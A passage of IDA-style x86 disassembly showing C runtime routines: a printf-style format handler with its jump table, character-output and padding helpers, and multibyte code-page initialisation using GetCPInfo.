		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42010A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_42010A:				; CODE XREF: sub_41FF3F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_420680
		add	esp, 0Ch
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420122:				; CODE XREF: sub_41FF3F+6Ej
					; DATA XREF: .packed:off_420660o
		movsx	eax, bl		; jumptable 0041FFAD case 7
		cmp	eax, 67h
		jg	loc_42034A
		cmp	eax, 65h
		jge	loc_4201CD
		cmp	eax, 58h
		jg	loc_42022B
		jz	loc_4203BE
		sub	eax, 43h
		jz	loc_4201EE
		dec	eax
		dec	eax
		jz	short loc_4201C3
		dec	eax
		dec	eax
		jz	short loc_4201C3
		sub	eax, 0Ch
		jnz	loc_420549
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_42016C
		or	byte ptr [ebp+var_4+1],	8


loc_42016C:				; CODE XREF: sub_41FF3F+227j
					; sub_41FF3F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_420179
		mov	esi, 7FFFFFFFh


loc_420179:				; CODE XREF: sub_41FF3F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_420392
		test	ecx, ecx
		jnz	short loc_4201A1
		mov	ecx, off_43D0A4
		mov	[ebp+var_8], ecx


loc_4201A1:				; CODE XREF: sub_41FF3F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_4201AA:				; CODE XREF: sub_41FF3F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_420389
		cmp	word ptr [eax],	0
		jz	loc_420389
		inc	eax
		inc	eax
		jmp	short loc_4201AA
; ---------------------------------------------------------------------------


loc_4201C3:				; CODE XREF: sub_41FF3F+212j
					; sub_41FF3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_4201CD:				; CODE XREF: sub_41FF3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4202B1
		mov	[ebp+var_10], 6
		jmp	loc_4202BF
; ---------------------------------------------------------------------------


loc_4201EE:				; CODE XREF: sub_41FF3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_4201FA
		or	byte ptr [ebp+var_4+1],	8


loc_4201FA:				; CODE XREF: sub_41FF3F+2B5j
					; sub_41FF3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420241
		call	sub_42073B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424663
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420254
		mov	[ebp+var_28], 1
		jmp	short loc_420254
; ---------------------------------------------------------------------------


loc_42022B:				; CODE XREF: sub_41FF3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420262
		sub	eax, 9
		jz	short loc_4201FA
		dec	eax
		jz	loc_420424
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FF3F+2C5j
		call	sub_42071E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420254:				; CODE XREF: sub_41FF3F+2E1j
					; sub_41FF3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420262:				; CODE XREF: sub_41FF3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	eax, eax
		pop	ecx
		jz	short loc_4202A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4202A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420294
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_420294:				; CODE XREF: sub_41FF3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FF3F+32Fj
					; sub_41FF3F+336j
		mov	eax, off_43D0A0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42033F
; ---------------------------------------------------------------------------


loc_4202B1:				; CODE XREF: sub_41FF3F+29Dj
		jnz	short loc_4202BF
		cmp	bl, 67h
		jnz	short loc_4202BF
		mov	[ebp+var_10], 1


loc_4202BF:				; CODE XREF: sub_41FF3F+2AAj
					; sub_41FF3F:loc_4202B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43D430
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420311
		cmp	[ebp+var_10], 0
		jnz	short loc_420311
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D43C
		pop	ecx


loc_420311:				; CODE XREF: sub_41FF3F+3BCj
					; sub_41FF3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420328
		test	esi, esi
		jnz	short loc_420328
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43D434
		pop	ecx


loc_420328:				; CODE XREF: sub_41FF3F+3D5j
					; sub_41FF3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42033E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42033E:				; CODE XREF: sub_41FF3F+3F0j
		push	edi


loc_42033F:				; CODE XREF: sub_41FF3F+36Dj
		call	sub_41B9C0
		pop	ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_42034A:				; CODE XREF: sub_41FF3F+1E9j
		sub	eax, 69h
		jz	loc_420424
		sub	eax, 5
		jz	loc_4203FA
		dec	eax
		jz	loc_4203E7
		dec	eax
		jz	short loc_4203B7
		sub	eax, 3
		jz	loc_42016C
		dec	eax
		dec	eax
		jz	loc_420428
		sub	eax, 3
		jnz	loc_420549
		mov	[ebp+var_2C], 27h
		jmp	short loc_4203C5
; ---------------------------------------------------------------------------


loc_420389:				; CODE XREF: sub_41FF3F+270j
					; sub_41FF3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_420392:				; CODE XREF: sub_41FF3F+24Fj
		test	ecx, ecx
		jnz	short loc_42039F
		mov	ecx, off_43D0A0
		mov	[ebp+var_8], ecx


loc_42039F:				; CODE XREF: sub_41FF3F+455j
		mov	eax, ecx


loc_4203A1:				; CODE XREF: sub_41FF3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4203B0
		cmp	byte ptr [eax],	0
		jz	short loc_4203B0
		inc	eax
		jmp	short loc_4203A1
; ---------------------------------------------------------------------------


loc_4203B0:				; CODE XREF: sub_41FF3F+467j
					; sub_41FF3F+46Cj
		sub	eax, ecx
		jmp	loc_420546
; ---------------------------------------------------------------------------


loc_4203B7:				; CODE XREF: sub_41FF3F+425j
		mov	[ebp+var_10], 8


loc_4203BE:				; CODE XREF: sub_41FF3F+201j
		mov	[ebp+var_2C], 7


loc_4203C5:				; CODE XREF: sub_41FF3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42042F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203E7:				; CODE XREF: sub_41FF3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42042F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_4203FA:				; CODE XREF: sub_41FF3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42071E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420413
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420418
; ---------------------------------------------------------------------------


loc_420413:				; CODE XREF: sub_41FF3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420418:				; CODE XREF: sub_41FF3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420647	; default
; ---------------------------------------------------------------------------


loc_420424:				; CODE XREF: sub_41FF3F+2F7j
					; sub_41FF3F+40Ej
		or	[ebp+var_4], 40h


loc_420428:				; CODE XREF: sub_41FF3F+432j
		mov	[ebp+var_C], 0Ah


loc_42042F:				; CODE XREF: sub_41FF3F+491j
					; sub_41FF3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420441
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42072B
		pop	ecx
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_420441:				; CODE XREF: sub_41FF3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420468
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42045D
		call	sub_42071E
		pop	ecx
		movsx	eax, ax


loc_42045A:				; CODE XREF: sub_41FF3F+527j
					; sub_41FF3F+539j
		cdq
		jmp	short loc_420482
; ---------------------------------------------------------------------------


loc_42045D:				; CODE XREF: sub_41FF3F+510j
		call	sub_42071E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_420468:				; CODE XREF: sub_41FF3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42047A
		call	sub_42071E
		pop	ecx
		jmp	short loc_42045A
; ---------------------------------------------------------------------------


loc_42047A:				; CODE XREF: sub_41FF3F+531j
		call	sub_42071E
		pop	ecx
		xor	edx, edx


loc_420482:				; CODE XREF: sub_41FF3F+500j
					; sub_41FF3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4204A3
		test	edx, edx
		jg	short loc_4204A3
		jl	short loc_420492
		test	eax, eax
		jnb	short loc_4204A3


loc_420492:				; CODE XREF: sub_41FF3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4204A7
; ---------------------------------------------------------------------------


loc_4204A3:				; CODE XREF: sub_41FF3F+547j
					; sub_41FF3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4204A7:				; CODE XREF: sub_41FF3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4204B0
		and	edi, 0


loc_4204B0:				; CODE XREF: sub_41FF3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4204BF
		mov	[ebp+var_10], 1
		jmp	short loc_4204C3
; ---------------------------------------------------------------------------


loc_4204BF:				; CODE XREF: sub_41FF3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4204C3:				; CODE XREF: sub_41FF3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4204CD
		and	[ebp+var_1C], 0


loc_4204CD:				; CODE XREF: sub_41FF3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4204D3:				; CODE XREF: sub_41FF3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4204E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42051E


loc_4204E3:				; CODE XREF: sub_41FF3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DD20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DCB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420514
		add	ebx, [ebp+var_2C]


loc_420514:				; CODE XREF: sub_41FF3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4204D3
; ---------------------------------------------------------------------------


loc_42051E:				; CODE XREF: sub_41FF3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420549
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42053C
		test	eax, eax
		jnz	short loc_420549


loc_42053C:				; CODE XREF: sub_41FF3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420546:				; CODE XREF: sub_41FF3F+35Fj
					; sub_41FF3F+406j ...
		mov	[ebp+var_C], eax


loc_420549:				; CODE XREF: sub_41FF3F+21Bj
					; sub_41FF3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420647	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420581
		test	bh, 1
		jz	short loc_420566
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420566:				; CODE XREF: sub_41FF3F+61Fj
		test	bl, 1
		jz	short loc_420571
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42057A
; ---------------------------------------------------------------------------


loc_420571:				; CODE XREF: sub_41FF3F+62Aj
		test	bl, 2
		jz	short loc_420581
		mov	[ebp+var_16], 20h


loc_42057A:				; CODE XREF: sub_41FF3F+625j
					; sub_41FF3F+630j
		mov	[ebp+var_1C], 1


loc_420581:				; CODE XREF: sub_41FF3F+61Aj
					; sub_41FF3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4205A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_4205A1:				; CODE XREF: sub_41FF3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD164
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0B0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D1A0
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_42705C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD280
		cmp	[ebp+var_18], 1
		mov	dword_4DD164, esi
		rep stosd
		stosb
		mov	dword_4DD384, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD281[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD280
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0C0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D0A8[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD281[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD17C, 1
		push	eax
		mov	dword_4DD164, eax
		call	sub_42092C
		lea	esi, dword_43D0B4[esi]
		mov	edi, offset dword_4DD170
		movsd
		movsd
		pop	ecx
		mov	dword_4DD384, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD281[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD384, eax
		mov	dword_4DD17C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD17C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD170
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE5C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE5C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE5C, 1
		jmp	dword_427054
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE5C, 1
		jmp	dword_427058
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBEA4
		mov	dword_4DBE5C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD280
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD170
		mov	dword_4DD164, eax
		mov	dword_4DD17C, eax
		mov	dword_4DD384, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD164
		call	dword_42705C	; GetCPInfo
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
